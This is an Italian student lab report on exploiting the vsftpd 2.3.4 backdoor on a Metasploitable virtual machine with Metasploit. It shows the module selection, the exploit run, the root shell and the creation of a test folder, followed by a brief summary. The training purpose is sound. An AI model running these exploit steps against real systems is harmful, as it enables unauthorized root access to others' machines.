

Hacking con Metasploit

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

Traccia dell'Esercizio

Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Dettagli dell'Attività

Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable.

Configurate l'indirizzo come segue: 192.168.1.149/24

- Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.
- Creazione di una Cartella Una volta ottenuta l'accesso alla macchina Metasploitable, navigate fino alla directory di root (/) e create una cartella chiamata test_metasploit utilizzando il comando mkdir. mkdir /test_metasploit

Modifica ip meta

```
Meta [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
GNU nano 2.0.7  File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

```
Meta [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:42:a6:d3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe42:a6d3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:49 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4632 (4.5 KB)  TX bytes:6282 (6.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ _
```

msfconsole + rhosts

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: Use help <command> to learn more about any command  
  
IIIIII  dTb.dTb  
II      4'  v  'B  
II      6.   .P  
II      T; .;P'  
II      'T; ;P'  
II      'YvP'  
IIIIII  
  
I love shells --egypt  
  
=[ metasploit v6.4.18-dev ]  
+ -- 2437 exploits - 1255 auxiliary - 429 post ]  
+ -- 1468 payloads - 47 encoders - 11 nops ]  
+ -- 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
  
msf6 > search vsftpd  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
  
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149  
rhost => 192.168.1.149  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  
  
Name Current Setting Required Description  
- - - - -  
CHOST no The local client address  
CPORT no The local client port  
Proxies no A proxy chain of format type:host:port[,type:host:port][ ...]  
RHOSTS 192.168.1.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 21 yes The target port (TCP)  
  
Exploit target:  
  
Id Name  
-- --  
0 Automatic  
  
View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.1.149:21 - USER: 331 Please specify the password.  
[*] Exploit completed, but no session was created.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open  
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.1.102:35065 -> 192.168.1.149:6200) at 2024-11-11 07:32:18 -0500  
  
ifconfig  
eth0 Link encap:Ethernet HWaddr 08:00:27:42:a6:d3  
inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0  
inet6 addr: fe80::a00:27ff:fe42:a6d3/64 Scope:Link  
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
RX packets:301 errors:0 dropped:0 overruns:0 frame:0  
TX packets:140 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:1000  
RX bytes:21463 (20.9 KB) TX bytes:14981 (14.6 KB)  
Base address:0xd020 Memory:f0200000-f0220000  
  
lo Link encap:Local Loopback  
inet addr:127.0.0.1 Mask:255.0.0.0  
inet6 addr: ::1/128 Scope:Host  
UP LOOPBACK RUNNING MTU:16436 Metric:1  
RX packets:117 errors:0 dropped:0 overruns:0 frame:0  
TX packets:117 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:0  
RX bytes:31749 (31.0 KB) TX bytes:31749 (31.0 KB)
```

Creazione cartella

```
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.102:35065 → 192.168.1.149:6200) at 2024-11-11 07:32:18 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:42:a6:d3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe42:a6d3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:301 errors:0 dropped:0 overruns:0 frame:0
          TX packets:140 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:21463 (20.9 KB)  TX bytes:14981 (14.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:117 errors:0 dropped:0 overruns:0 frame:0
          TX packets:117 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:31749 (31.0 KB)  TX bytes:31749 (31.0 KB)

cd /
mkdir test_metasploit

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tH_dj3L}R
test_metasploit
tmp
usr
var
vmlinuz
█
```

Relazione

In questo esercizio ho sfruttato una debolezza nel servizio "vsftpd" della macchina Meta utilizzando Metasploit. Ho iniziato utilizzando Metasploit, cercando il servizio specifico "vsftpd". Ho selezionato "exploit/unix/ftp/vsftpd_234_backdoor", impostato l'ip che volevo attaccare con "set rshots 192.168.1.149", ho verificato di averlo inserito correttamente con "show options", e poi ho effettuato l'exploit. Al primo tentativo non è andato a buon fine e l'ho eseguito una seconda volta. Una volta collegato alla macchina e preso il controllo ho creato una cartella chiamata "test_metasploit". Con "cd /" sono andato nella directory root, con il comando "mkdir nome_cartella" ho creato la cartella e con "ls" sono andato a elencare tutti i file presenti. Come si può vedere la cartella è stata correttamente creata. Con questo esercizio si è dimostrato come si può sfruttare una vulnerabilità e prendere il controllo di un sistema compromesso, permettendo così di eseguire delle azioni al proprio interno. Come nel nostro caso la creazione di una cartella.